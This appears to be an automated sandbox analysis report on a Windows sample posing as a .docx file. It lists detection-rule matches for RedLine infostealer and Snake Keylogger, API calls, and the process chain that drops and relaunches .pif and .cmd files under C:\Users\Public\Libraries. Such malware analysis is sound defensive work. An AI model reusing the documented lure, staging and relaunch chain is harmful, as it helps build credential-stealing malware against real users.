Source: 13.2.xzeheenC.pif.30ca0f08.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1e2f5570.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.31d75570.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.36aa0000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.342cb98e.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.35555570.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.35556478.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.35555570.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.35556478.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.D.G Governor Istek,Docx.exe.21a1c948.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.3435325759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000001.2421840333.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000009.00000001.2342337171.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000002.3435459349.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: xzeheenC.pif PID: 6656, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: xzeheenC.pif PID: 432, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: xzeheenC.pif PID: 2140, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/7@4/4

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029C7F5C GetDiskFreeSpaceA,

0_2_029C7F5C

Source: C:\Users\Public\Libraries\xzeheenC.pif

Code function: 4_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

4_2_004019F0

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029D6D50 CoCreateInstance,

0_2_029D6D50

Source: C:\Users\Public\Libraries\xzeheenC.pif

4_2_004019F0

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

File created: C:\Users\Public\CneehezxF.cmd

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3376:120:WilError_03
Source: C:\Users\Public\Libraries\xzeheenC.pif	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6332:120:WilError_03

Source: C:\Users\Public\Libraries\xzeheenC.pif	Command line argument: 08A	4_2_00413780
Source: C:\Users\Public\Libraries\xzeheenC.pif	Command line argument: 08A	4_2_00413780
Source: C:\Users\Public\Libraries\xzeheenC.pif	Command line argument: 08A	4_1_00413780
Source: C:\Users\Public\Libraries\xzeheenC.pif	Command line argument: 08A	9_2_00413780
Source: C:\Users\Public\Libraries\xzeheenC.pif	Command line argument: 08A	9_2_00413780
Source: C:\Users\Public\Libraries\xzeheenC.pif	Command line argument: 08A	9_1_00413780

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: xzeheenC.pif, 00000004.00000002.3471183670.000000001E3EB000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3474258234.000000003564B000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3471453220.0000000031E6B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: D.G Governor Istek,Docx.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

File read: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe "C:\Users\user\Desktop\D.G Governor Istek,Docx.exe"
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Cneehezx.PIF "C:\Users\Public\Libraries\Cneehezx.PIF"
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Cneehezx.PIF "C:\Users\Public\Libraries\Cneehezx.PIF"
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Process created: C:\Users\Public\Libraries\xzeheenC.pif C:\Users\Public\Libraries\xzeheenC.pif

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
